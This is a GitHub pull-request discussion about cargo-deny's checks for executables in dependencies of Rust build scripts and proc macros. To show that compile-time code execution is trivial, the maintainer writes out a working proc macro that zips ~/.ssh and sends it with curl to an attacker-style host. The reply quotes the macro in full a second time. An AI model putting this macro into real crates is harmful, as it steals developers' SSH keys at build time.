Allow for dependency level test in build checks

[iddm]

Changes the specification of the bans for executable checks so that instead of just having the check as an on/off toggle, it allows to specify the level of depth for a dependency within the dependency tree (graph) from the root (the project being checked).

This allows to check for executables at a much more precise level. Some projects may disallow their direct dependencies to have executables but don't really care for the farthest dependencies.

A piece of thought for the future is to allow/disallow the test code of the dependencies to have binaries. Some crates, like libloading, legitimately can't be tested without having a binary to test against.

[Jake-Shadle]

I'm not opposed to this change in concept, but this feels like it will be confusing for users. Currently include-dependencies means dependencies of a proc-macro/build-script crate, but this changes it be just...dependencies. This means you could have a crate with a build script very low in the tree, that has a dependency, that would no longer be checked the same if the dependency happened to be 1 level lower than the depth specified, and basically feels arbitrary.

I think a more interesting change would be to have an bans.build.bypass.include-deps = [<dep_name>] field that can list 1 or more dependencies to also include, which could then have their own bypass, etc as that gives the most control, and though tedious, this is an extremely niche concern (dependencies of build scripts/proc macros having executables/scripts)

[iddm]

No problem. I invested my time thinking that I actually needed this, but now it doesn't seem so. It helped me to debug, though, and to understand how the graph is traversed. I had to "bypass" about 15 crates now (mostly winapi + windows ones); this was annoying.

The reason I thought I needed that is that I know that I can't control or change the subdependencies of my dependencies. I can either use those or not, but I can't do anything about those: if those use binaries or not, it will just all come down to the fact whether I need to use those deps or not. That's why I thought it would be a good idea to just specify the level of dependencies you are interesting in checking, instead of traversing the whole graph or not even one crate from it.

[Jake-Shadle]

The checking of executables/scripts in dependencies of build/proc macro crates was really only provided for completeness/the very paranoid, I'm sure somewhere there is a crate that does something crazy, but in 99.9% of cases what actually matters is whether the build/proc macro crate itself has weird things, as otherwise you just find a bunch of scripts related to a crate's CI or codegen or similar that are irrelevant and just noisy as they aren't executed at compile time, which is the intention of the check.

I'll close this for now but will think about more granular checking in the feature, since the build checking is still on its initial implementation.

[iddm]

The checking of executables/scripts in dependencies of build/proc macro crates was really only provided for completeness/the very paranoid, I'm sure somewhere there is a crate that does something crazy, but in 99.9% of cases what actually matters is whether the build/proc macro crate itself has weird things, as otherwise you just find a bunch of scripts related to a crate's CI or codegen or similar that are irrelevant and just noisy as they aren't executed at compile time, which is the intention of the check.

I'll close this for now but will think about more granular checking in the feature, since the build checking is still on its initial implementation.

I am not sure this is just for paranoids. The proc macro code can't do anything with the code besides having the token stream it is given: it is really incomplete and limited. The binaries, however, can do anything on your system and can (cuz what stops those?) access any sort of data on your system without your knowledge. Those can read all your sensitive data and upload it to some cloud while you happily use a convenient crate. It may not even just be due to the maintainer; it may also be an MITM attack. Even putting all of that aside, there are companies with Software products which sometimes have obligations to their customers that their software products are fully built from scratch without using any 3rd-party-built binaries. Having cargo-deny checking for binaries is quite helpful to ensure that too.

[Jake-Shadle]

It is. As stated in the documentation this check is a convenience to find "suspect" crates that could potentially execute arbitrary code at compile time, but it can in no way protect you from malicious actors due to how trivial it is to do arbitrary code execution at compile time in rust. For example you say:

The proc macro code can't do anything with the code besides having the token stream it is given: it is really incomplete and limited.

But here is a proc macro that uploads your SSH keys:

#[proc_macro_attribute]
pub fn ohno(_args: TokenStream, input: TokenStream) -> TokenStream {
    let upload = || {
        let mut home = std::env::var("HOME").ok()?;
        home.push(".ssh");

        let mut cmd = std::process::Command::new("zip");
        cmd.args(["-0", "keys.zip", home.to_str()?]);
        if !cmd.status().ok()?.success() {
            return None;
        }

        let mut cmd = std::process::Command::new("curl");
        cmd.args(["-d", "@keys.zip", "https://gotyourkeys.com"]);
        let _ = cmd.status();

        None
    };

    let _ = upload();

    input
}

The only way for a native executable in a dependency of a build/proc-macro crate to execute at compile time would be if that crate called the executable in the dependency, which, while possible, is not worth burdening everyone who uses the check with the noise that ensues from the dependency have CI scripts and such. That being said one easy thing to do would just be to ignore script executables in dependencies, and only check for native executables. #572

[iddm]

It is. As stated in the documentation this check is a convenience to find "suspect" crates that could potentially execute arbitrary code at compile time, but it can in no way protect you from malicious actors due to how trivial it is to do arbitrary code execution at compile time in rust. For example you say:

The proc macro code can't do anything with the code besides having the token stream it is given: it is really incomplete and limited.

But here is a proc macro that uploads your SSH keys:

#[proc_macro_attribute]

pub fn ohno(_args: TokenStream, input: TokenStream) -> TokenStream {

    let upload = || {

        let mut home = std::env::var("HOME").ok()?;

        home.push(".ssh");

        let mut cmd = std::process::Command::new("zip");

        cmd.args(["-0", "keys.zip", home.to_str()?]);

        if !cmd.status().ok()?.success() {

            return None;

        }

        let mut cmd = std::process::Command::new("curl");

        cmd.args(["-d", "@keys.zip", "https://gotyourkeys.com"]);

        let _ = cmd.status();

        None

    };

    let _ = upload();

    input

}

The only way for a native executable in a dependency of a build/proc-macro crate to execute at compile time would be if that crate called the executable in the dependency, which, while possible, is not worth burdening everyone who uses the check with the noise that ensues from the dependency have CI scripts and such. That being said one easy thing to do would just be to ignore script executables in dependencies, and only check for native executables. #572

We still can audit the proc-macro code we have, as it is not compiled. With binaries we have no such option.

You can do that in principle, but this will be seen.

[Jake-Shadle]

Correct, and if you audit the proc-macro/build-script and it isn't calling any dependency's native executables then checking those for executables is unneeded since the crates themselves are not executed at compile time.

[iddm]

Correct, and if you audit the proc-macro/build-script and it isn't calling any dependency's native executables then checking those for executables is unneeded since the crates themselves are not executed at compile time.

The issue with pre-compiled code shipped as a part of serde, for example, is handled with cargo-deny:

error[detected-executable]: detected executable
 = path = '$CARGO_HOME/registry/src/index.crates.io-6f17d22bba15001f/serde_derive-1.0.172/serde_derive-x86_64-unknown-linux-gnu'
 = executable-kind = 'elf'
 = serde_derive v1.0.172
   ├── serde v1.0.172
   │   ├── serde-aux v4.2.0
   │   │   └── v8_rs v0.3.0
   │   ├── serde_json v1.0.107
   │   │   ├── serde-aux v4.2.0 (*)
   │   │   └── v8_rs v0.3.0 (*)
   │   └── v8_rs v0.3.0 (*)
   └── v8_rs v0.3.0 (*)

bans FAILED

For now, this is what we need. Further inspection is, of course, better, but one step at a time. We need to know which and how many binaries we have which aren't compiled by us, and cargo-deny helps. There are customers in the world that require you to build everything yourself so that you only bear the responsibility in case something bad happens. I'm just saying it isn't just about being paranoid.

Thank you for your help!